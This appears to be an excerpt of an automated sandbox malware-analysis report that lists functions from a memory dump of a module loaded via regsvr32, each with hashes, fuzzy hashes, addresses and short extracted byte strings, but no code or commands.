Opcode ID: 01947e023cac002b8a0a3e4f78c79794eac0dde5bb4d18b8413bbe4288169ddb
Instruction ID: 3c01ac5d5c2d3476a5cfb8eba6abf236e6c64549312703f260b6bb5002efdfbd
Opcode Fuzzy Hash: 01947e023cac002b8a0a3e4f78c79794eac0dde5bb4d18b8413bbe4288169ddb
Instruction Fuzzy Hash: 5361D67555878CCBEBBADF38CC897D97BB1FB48344F908219D80E8A260DB7457498B41

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180028348 Relevance: 3.9, Strings: 3, Instructions: 130COMMON

Download Yara Rule

Strings

,7%, xrefs: 0000000180028597
%Nz, xrefs: 0000000180028375
}]{, xrefs: 0000000180028494

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %Nz$,7%$}]{
API String ID: 0-2809531587
Opcode ID: 676dc21c0f372b2db907baa94ef17c562d056d3d3dc12d9c581eeda360082d12
Instruction ID: b36c8970f11ad41429e233920f6dac2517fe43d92b96f19f813f385ea8bb4fb2
Opcode Fuzzy Hash: 676dc21c0f372b2db907baa94ef17c562d056d3d3dc12d9c581eeda360082d12
Instruction Fuzzy Hash: B771E470448788CBEBB5DF24C8856DEBBE4FB88744F60451DE9598B260DB749688CF01

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001ACB4 Relevance: 3.9, Strings: 3, Instructions: 124COMMON

Download Yara Rule

Strings

,mQ, xrefs: 000000018001AE53
f41, xrefs: 000000018001ACEA
c, xrefs: 000000018001ACDC

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ,mQ$f41$c
API String ID: 0-1594525360
Opcode ID: 7f89cf11389eafb96d04b6400e87a1f2a1e5a7f99f0c72ab3958d5ee7197d732
Instruction ID: ca916729033610084f534c396dc33c1afc583cc00ddec4c12c7a73cc6334aceb
Opcode Fuzzy Hash: 7f89cf11389eafb96d04b6400e87a1f2a1e5a7f99f0c72ab3958d5ee7197d732
Instruction Fuzzy Hash: AD51C071D0424C8BCB48DFA9E98A9DDBBF0FB48348F11820DE85AB7261C7749905CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800061A0 Relevance: 3.8, Strings: 3, Instructions: 89COMMON

Download Yara Rule

Strings

[/, xrefs: 000000018000623E
|', xrefs: 00000001800061CE
s, xrefs: 0000000180006277

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: [/$s$|'
API String ID: 0-508247755
Opcode ID: 7345308087df3ea52099129a82f0c3ea94bf5dab89828cea5ac59a44806af735
Instruction ID: 494a7eb40676bfcc00c7fdba1f25141f52c7cc4812b1f7e8e8b884a852a0e06c
Opcode Fuzzy Hash: 7345308087df3ea52099129a82f0c3ea94bf5dab89828cea5ac59a44806af735
Instruction Fuzzy Hash: 1841D4B090038E8FCB48DFA9D88A5DEBBB1FB48348F10461DEC25A6250D7B49554CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180012378 Relevance: 3.8, Strings: 3, Instructions: 85COMMON

Download Yara Rule

Strings

_#>, xrefs: 000000018001241C
`cb{, xrefs: 000000018001248C
fq, xrefs: 0000000180012423

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: _#>$`cb{$fq
API String ID: 0-41881557
Opcode ID: 6dffa8c73f5f57da7de5f12e066b229d1e4dd53f1b7788c47ce25402a50e5fa7
Instruction ID: 8d8b26aa43ab9a83d147a377112b64bfb8255cca975d25c3e902dea97d059722
Opcode Fuzzy Hash: 6dffa8c73f5f57da7de5f12e066b229d1e4dd53f1b7788c47ce25402a50e5fa7
Instruction Fuzzy Hash: 2941C0B180078E8FCF48CF64C88A5DE7FB0FB58358F104619E86AA6250D3B89665CFC4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180012680 Relevance: 3.8, Strings: 3, Instructions: 73COMMON

Download Yara Rule

Strings

=Z8, xrefs: 00000001800126B2
[U, xrefs: 00000001800126F5
{To, xrefs: 000000018001273E

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: =Z8$[U${To
API String ID: 0-582923006
Opcode ID: 510822f7632221338f4787e6ba9fbd6d482cd1ebd2bab9e95bda9979d09408e7
Instruction ID: dd1ba70993956fe5376c9027ab0fa5dab7ea2e8642491db667c41f00a9894f6d
Opcode Fuzzy Hash: 510822f7632221338f4787e6ba9fbd6d482cd1ebd2bab9e95bda9979d09408e7
Instruction Fuzzy Hash: DA31AFB090074ECBCB88DF64C88A4DF7FB4FB68398F104219E855A6250D3B896A5CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006414 Relevance: 2.8, Strings: 2, Instructions: 314COMMON

Download Yara Rule

Strings

L, xrefs: 000000018000677D
u., xrefs: 000000018000655E

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: L$u.
API String ID: 0-1908859981
Opcode ID: 963c97d349dba17e05ff2ad4f8c091e323bd32606f741df39a0923b695cd3283
Instruction ID: fe013bb6a98280fd3664de29af0d6deafe853b8c6d857857911529a75c261ac8
Opcode Fuzzy Hash: 963c97d349dba17e05ff2ad4f8c091e323bd32606f741df39a0923b695cd3283
Instruction Fuzzy Hash: FDE1167152478DABDF98CF28C8C6ADD3BA1FB48394F906229FD0287260D775D985CB81

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000968C Relevance: 2.8, Strings: 2, Instructions: 290COMMON

Download Yara Rule

Strings

|8W, xrefs: 000000018000999A
v^, xrefs: 00000001800096A3

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: v^$|8W
API String ID: 0-4274756280
Opcode ID: e8f720407405c8f842976055ebfe5a961945bc41caeca3a3e9e3a1284d36038d
Instruction ID: eb46043f5dfd862e599a3e1f0545fc92660674d3eece30cf186a2abccef00301
Opcode Fuzzy Hash: e8f720407405c8f842976055ebfe5a961945bc41caeca3a3e9e3a1284d36038d
Instruction Fuzzy Hash: 23D11171A0630CCBDB68DF68C58AA9D7BE1FF59348F104129FC1A9B261C770E919CB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180001E88 Relevance: 2.8, Strings: 2, Instructions: 261COMMON

Download Yara Rule

Strings

u5\, xrefs: 0000000180001FE0
`:, xrefs: 000000018000222C

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: `:$u5\
API String ID: 0-1141760586
Opcode ID: de639cec483ce4a43014a1f68f5d3fafad908dcfa8fcc167b954aac45c8ab292
Instruction ID: 309421123f437f89acc2771e6a55141bc20ba277e2d56715f434ec53ca724750
Opcode Fuzzy Hash: de639cec483ce4a43014a1f68f5d3fafad908dcfa8fcc167b954aac45c8ab292
Instruction Fuzzy Hash: 69C1207150574DCBDB99CF28C58A6D93BE5FF98348F104129FC0E862A1CBB4EA18CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180022AAC Relevance: 2.8, Strings: 2, Instructions: 250COMMON

Download Yara Rule

Strings

]6, xrefs: 0000000180022FF9
0Au, xrefs: 0000000180022F34

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 0Au$]6
API String ID: 0-775207805
Opcode ID: 41d6d67fb4784ff97a0c8e7ec9a302166e0b0c9de4538925550087b6d031b924
Instruction ID: 6edab2825e6f92fa7d6d5649e6783b0aef41eda7633721283519dacdcc01bd9d
Opcode Fuzzy Hash: 41d6d67fb4784ff97a0c8e7ec9a302166e0b0c9de4538925550087b6d031b924
Instruction Fuzzy Hash: 2DE1D7706047889FCBBEDF24CC897DA7BA8FB46704F904619E9C98E250DB745748CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180026B98 Relevance: 2.7, Strings: 2, Instructions: 225COMMON

Download Yara Rule

Strings

S9, xrefs: 0000000180026D05
qrd, xrefs: 0000000180026C88

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: S9$qrd
API String ID: 0-2332744662
Opcode ID: dccb7ee8ec7dfb8e0809544b932b2caf2d93c57dd19aa3a9b169f23ded853006
Instruction ID: d3a666ff84b181fad27f9c2352a1e83f1b6bb5c561d3220c9e7978bd2dadc88f
Opcode Fuzzy Hash: dccb7ee8ec7dfb8e0809544b932b2caf2d93c57dd19aa3a9b169f23ded853006
Instruction Fuzzy Hash: 6EB1357590660CCFCB69DFA4C08A6DDBBF1EF68344F104519E812AB262CBB0D919CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180023C14 Relevance: 2.7, Strings: 2, Instructions: 204COMMON

Download Yara Rule

Strings

4&t, xrefs: 0000000180023F04
hw}2, xrefs: 0000000180023DCB

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: hw}2$4&t
API String ID: 0-1169878757
Opcode ID: 858c4deae444743a57c26792a91effe053d1d8b489a12bfa541918911fc2fcd6
Instruction ID: fd20564dcf1a671b287a6600624e9fb92dead2187b8d5629211a6de17e7e6b55
Opcode Fuzzy Hash: 858c4deae444743a57c26792a91effe053d1d8b489a12bfa541918911fc2fcd6
Instruction Fuzzy Hash: AEB168B590420CCFDB68CF78C45A5DD7BF1FB08308F60612AE826AA262D774D919CF54

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001EBA0 Relevance: 2.7, Strings: 2, Instructions: 192COMMON

Download Yara Rule

Strings

a[, xrefs: 000000018001EECA
JMWd, xrefs: 000000018001EF78

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: JMWd$a[
API String ID: 0-3276560754
Opcode ID: 94f2740beabb4555a63fe109c076897c128458c56f4cbcfe5625600f94c775f6
Instruction ID: 3b54873520b9a846c0abc3e4022efff23af49e59c185cad729b6d512d224c3a2
Opcode Fuzzy Hash: 94f2740beabb4555a63fe109c076897c128458c56f4cbcfe5625600f94c775f6
Instruction Fuzzy Hash: D5A106706047889FDBBACF18CC857DE3BA8FB46748F504229E8CA8E254CB745749CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015494 Relevance: 2.7, Strings: 2, Instructions: 172COMMON

Download Yara Rule

Strings

-, xrefs: 000000018001574A
%[, xrefs: 00000001800156E0

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %[$-
API String ID: 0-2535708364
Opcode ID: 65f60e6b5a076c6be367ab0f8efb072c07a091d19f07b8aff3e0ecb4ccd985c8
Instruction ID: a7604732bdc10a899b7b050bfde45695c0722dd065d5eed74db0117fa162c574
Opcode Fuzzy Hash: 65f60e6b5a076c6be367ab0f8efb072c07a091d19f07b8aff3e0ecb4ccd985c8
Instruction Fuzzy Hash: 1F81627050074ECBDB99DF14C88A7DE3BA0FB28389F114219FC85962A0D778C699CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000DB4C Relevance: 2.7, Strings: 2, Instructions: 169COMMON

Download Yara Rule

Strings

i:O:, xrefs: 000000018000DE23
/Mr, xrefs: 000000018000DD1E

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: /Mr$i:O:
API String ID: 0-3426536595
Opcode ID: 8fba9de9c6c3b1e5047e1d7641fef574ac2ea6f46defdcfa8fbb4029ea408963
Instruction ID: 3eba081f804be6fa3a9d4fb4db8c82f5607d3411af965209965460f3089a80c7
Opcode Fuzzy Hash: 8fba9de9c6c3b1e5047e1d7641fef574ac2ea6f46defdcfa8fbb4029ea408963
Instruction Fuzzy Hash: 7C91087050438C8FDBBADF24C8AA7DE7BA1FB5A304F50461EEA4E8E250DB749644CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180017E2C Relevance: 2.7, Strings: 2, Instructions: 163COMMON

Download Yara Rule

Strings

6|4, xrefs: 0000000180017EA9
;|-, xrefs: 0000000180017FAB

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 6|4$;|-
API String ID: 0-2897245347
Opcode ID: 35605434c5429477d06d2e5b9b1bfa34856c77736f87f3e727847c01dfef7208
Instruction ID: 839a7c11e172a9a14e1c367a044feafa9aab422ef7ede3a919e78660e0b6ca0a
Opcode Fuzzy Hash: 35605434c5429477d06d2e5b9b1bfa34856c77736f87f3e727847c01dfef7208
Instruction Fuzzy Hash: C0714B7090474D8FCF88DFA4C8866EEBBF0FB48308F114619E88AA7251D7789645CF95

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000F328 Relevance: 2.7, Strings: 2, Instructions: 153COMMON

Download Yara Rule

Strings

U#, xrefs: 000000018000F446
U, xrefs: 000000018000F44E

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: U$U#
API String ID: 0-861755185
Opcode ID: 2086c1731bcfc2cec1958e1d1a3f8cb927817e2dd584414818c7a6dfab91bab1
Instruction ID: 3d07f47d2f6b9c27b0e4fe7d5859b29f381f1ada24735b7dc646a2f801c86eef
Opcode Fuzzy Hash: 2086c1731bcfc2cec1958e1d1a3f8cb927817e2dd584414818c7a6dfab91bab1
Instruction Fuzzy Hash: 0C515C7150C7449FC7A8DF18D4C67AAB7E0FB88310F90991DF8CAC7251EB70A9598B82

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180007EB4 Relevance: 2.7, Strings: 2, Instructions: 152COMMON

Download Yara Rule

Strings

fK, xrefs: 0000000180007F95
Pr, xrefs: 0000000180007FC1

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: fK$Pr
API String ID: 0-2696692655
Opcode ID: 9489b844c734f0d344b598ec7bcb8736a735df1c6bae6eaa62d1b735c6b442f4
Instruction ID: dfe3628fe45c31a405763d5fff7ed8f4d77ec04c4bb6b45016b3f1679df2575b
Opcode Fuzzy Hash: 9489b844c734f0d344b598ec7bcb8736a735df1c6bae6eaa62d1b735c6b442f4
Instruction Fuzzy Hash: 907116B090474E8FDB88CF28C88A6DE7BF0FB18358F515219FC4AA6260D774D598CB85

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000DEF4 Relevance: 2.6, Strings: 2, Instructions: 150COMMON

Download Yara Rule

Strings

z+&, xrefs: 000000018000E024
n\, xrefs: 000000018000E000

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: n\$z+&
API String ID: 0-1414119057
Opcode ID: f24be46eeb560fbb290949dbfd7d05873455e782ddfe7ec7ed40b48d6508653b
Instruction ID: eeb2c5940d29436bcd670e7d8a2b521530b450e3042878bcb8e4954d48490cde
Opcode Fuzzy Hash: f24be46eeb560fbb290949dbfd7d05873455e782ddfe7ec7ed40b48d6508653b
Instruction Fuzzy Hash: 22612070A04B0C8BCBA9DF98D48AADDB7F1FB58344F00411DE846A7390DBB8950ACB85

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800015C0 Relevance: 2.6, Strings: 2, Instructions: 149COMMON

Download Yara Rule

Strings

50, xrefs: 00000001800016DE
., xrefs: 00000001800017B7

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: .$50
API String ID: 0-2436285167
Opcode ID: 84d2de074a5e6e1a5d921b58512406c284d81fdc35452f42d6b6a069db9f8ad4
Instruction ID: 63debb9af518b5fca5d59737c01840b12b974a655eea7ff458552c4fa6b671e5
Opcode Fuzzy Hash: 84d2de074a5e6e1a5d921b58512406c284d81fdc35452f42d6b6a069db9f8ad4
Instruction Fuzzy Hash: 3671DF705087848FD769CF28C58965ABBF0FBC6344F008A1DF68686260CBB6D949CF03

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180002ADC Relevance: 2.6, Strings: 2, Instructions: 149COMMON

Download Yara Rule

Strings

uC, xrefs: 0000000180002C87
,{, xrefs: 0000000180002C7D

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ,{$uC
API String ID: 0-1099860252
Opcode ID: 2af00e218d12abdb99ef7e76f2ba815a0f7da0c0d962cc97f106519d062cd6fe
Instruction ID: df29777c25f03bc51b29c5e68a382a2b48421fa47568a9dd7f4acde699563025
Opcode Fuzzy Hash: 2af00e218d12abdb99ef7e76f2ba815a0f7da0c0d962cc97f106519d062cd6fe
Instruction Fuzzy Hash: 28612D71A04B0C8FDBA9DF98D08A7DEB7F1FB48344F004119E406E7291DBB8990ADB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180004E3C Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

*6TO, xrefs: 0000000180004F9B
"C, xrefs: 0000000180005084

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: "C$*6TO
API String ID: 0-2251823003
Opcode ID: 11a52743e991166c772ae58171141d3b918ce8d4020b5bd660e65aa41626bcf5
Instruction ID: 1108d3b1afe4df31317b10417d35e55e698c36e02fd161062712c06e930ceb12
Opcode Fuzzy Hash: 11a52743e991166c772ae58171141d3b918ce8d4020b5bd660e65aa41626bcf5
Instruction Fuzzy Hash: 598166B550130DCFCB98DF28C58A59D3BA8FB49308F40812AFC1E9A264D3B4E659DB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015264 Relevance: 2.6, Strings: 2, Instructions: 137COMMON

Download Yara Rule

Strings

nkz, xrefs: 000000018001533E
_ N, xrefs: 00000001800153D5

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: _ N$nkz
API String ID: 0-4083044659
Opcode ID: a2e505ed0ed44acca9d37efa5475ae9917bfda84fefcb3a28f95bfb4043916ce
Instruction ID: b07831c94fe2cbd7ac58294498593f0ee6961182af88fd212fccb4805bec53d6
Opcode Fuzzy Hash: a2e505ed0ed44acca9d37efa5475ae9917bfda84fefcb3a28f95bfb4043916ce
Instruction Fuzzy Hash: 39513971D04A1D8BDF99CFA8C5457EEBBB1FB48344F108119E415BB250CBB89A09CF95

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000B834 Relevance: 2.6, Strings: 2, Instructions: 102COMMON

Download Yara Rule

Strings

LiD+, xrefs: 000000018000B96C
?, xrefs: 000000018000B945

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: LiD+$?
API String ID: 0-3739020763
Opcode ID: bc963e11fa834f262c09c021a462739b615030ee8f9d2598156052fa386473db
Instruction ID: 2f7d624153028320349e4a0adb7356b45dc1f3746b227896fac10cb383cb0630
Opcode Fuzzy Hash: bc963e11fa834f262c09c021a462739b615030ee8f9d2598156052fa386473db
Instruction Fuzzy Hash: F35191B590034E8FCB48DF64D48A8DE7FB0FB68398F214619E815A7210D7B496A4CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800085BC Relevance: 2.6, Strings: 2, Instructions: 101COMMON

Download Yara Rule

Strings

%&Iv, xrefs: 00000001800086E6
\o, xrefs: 0000000180008613

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %&Iv$\o
API String ID: 0-2950252169
Opcode ID: e3b847a27b1fdf8219116b43965b4243214bd6bbc489cbb0191219741f6e6deb
Instruction ID: 7d8516b09fccf329ce1ee45da69bc8f76dfc96f1b67d05b04ebb17f55f6537e3
Opcode Fuzzy Hash: e3b847a27b1fdf8219116b43965b4243214bd6bbc489cbb0191219741f6e6deb
Instruction Fuzzy Hash: 7041C2B090074E8FCB48DF28C88A4DE7FB1FB68398F514619EC56A7250D7B496A4CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180009408 Relevance: 2.6, Strings: 2, Instructions: 95COMMON

Download Yara Rule

Strings

|<, xrefs: 0000000180009540
P;, xrefs: 00000001800094F1

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: |<$P;
API String ID: 0-71676942
Opcode ID: d8b30cb9b0bbde5f967eaf6e88493efae150f481542faaeeec2b89fd53c9bf9b
Instruction ID: b926ab4478da67f81816527f76e4a4189747c2b1a61b322854fb240660ec53f5
Opcode Fuzzy Hash: d8b30cb9b0bbde5f967eaf6e88493efae150f481542faaeeec2b89fd53c9bf9b
Instruction Fuzzy Hash: 0F41F4B190078ECFCF48DF68C88A5DE7BB0FB58318F10461DE82AA6250D3B49665CF84

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001A524 Relevance: 2.6, Strings: 2, Instructions: 94COMMON

Download Yara Rule

Strings

#X, xrefs: 000000018001A554
< @, xrefs: 000000018001A5D7

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$< @
API String ID: 0-1734357072
Opcode ID: efe0763d8a7a245e8cb996b606fb90cb3ba626e454cc1a7dd4141ea463f73824
Instruction ID: 53d5526a666e2e4b0aa3df313d94281727ef5dde582db7952040e92a2ea044da
Opcode Fuzzy Hash: efe0763d8a7a245e8cb996b606fb90cb3ba626e454cc1a7dd4141ea463f73824
Instruction Fuzzy Hash: E241C3B090078E8FCF48DF68C95A5DE7BB0FB58348F104A1DEC6AA6250D3B49665CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800234D8 Relevance: 2.6, Strings: 2, Instructions: 83COMMON

Download Yara Rule

Strings

.B, xrefs: 00000001800235C0
X&x, xrefs: 00000001800235CE

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: .B$X&x
API String ID: 0-2125001607
Opcode ID: b56e4be042cf3e20bfd4171d949980e8bdde88a4c8b77932d249eea416ff403a
Instruction ID: 406be0e8b3d674fc45ad7aec45ce8f3a41fae9dcbe4fb503a73b8d88e4a7390b
Opcode Fuzzy Hash: b56e4be042cf3e20bfd4171d949980e8bdde88a4c8b77932d249eea416ff403a
Instruction Fuzzy Hash: F541C3B190034E8BDF48DF68C98A4DE7BB1FB58358F00461DE866AB350D3B89665CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180014F50 Relevance: 2.6, Strings: 2, Instructions: 80COMMON

Download Yara Rule

Strings

D-o, xrefs: 0000000180015024
S1, xrefs: 000000018001504E

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: D-o$S1
API String ID: 0-2248371139
Opcode ID: b2af9136cfd81d84eb1aedf16953768fff15e9d6dc77d4de408be5ef0b131a39
Instruction ID: c824313cc5550ea8d08e24e936909b38c1116e4b52b8e35a6cfdfb4e8fb0d5b5
Opcode Fuzzy Hash: b2af9136cfd81d84eb1aedf16953768fff15e9d6dc77d4de408be5ef0b131a39
Instruction Fuzzy Hash: 7F418F7090074E8FCF88CF68C48A5DEBFB0FB28398F144619E856A6250D3B496A5CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180021588 Relevance: 2.6, Strings: 2, Instructions: 72COMMON

Download Yara Rule

Strings

kNTY, xrefs: 000000018002166D
")v, xrefs: 0000000180021679

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ")v$kNTY
API String ID: 0-925696221
Opcode ID: 2d468f080be7dc4ac37fbc5ab55ab08a385f91380d02a95960c4866fb202e0cd
Instruction ID: 3d1cde25fc61112586e0ccbc864a2b9889115514f3b9559dcc74a8c2fbc402f5
Opcode Fuzzy Hash: 2d468f080be7dc4ac37fbc5ab55ab08a385f91380d02a95960c4866fb202e0cd
Instruction Fuzzy Hash: 49317CB16187858B8348DF28C45641ABBE1FBCD70CF544B2DF4CAAB251D738D6128B4B

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800025B8 Relevance: 2.6, Strings: 2, Instructions: 69COMMON

Download Yara Rule

Strings

\u, xrefs: 00000001800026CE
O, xrefs: 00000001800025BC

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: O$\u
API String ID: 0-3775190597
Opcode ID: 81226de3c00d9588fcdb855554b2562b3d5d50c3db8a2dd8ff0fab91db437570
Instruction ID: b3d17dff366e7d439aca65bd494037a1e9e1cb33d0f26cc5f3c7e2fad645fe6e
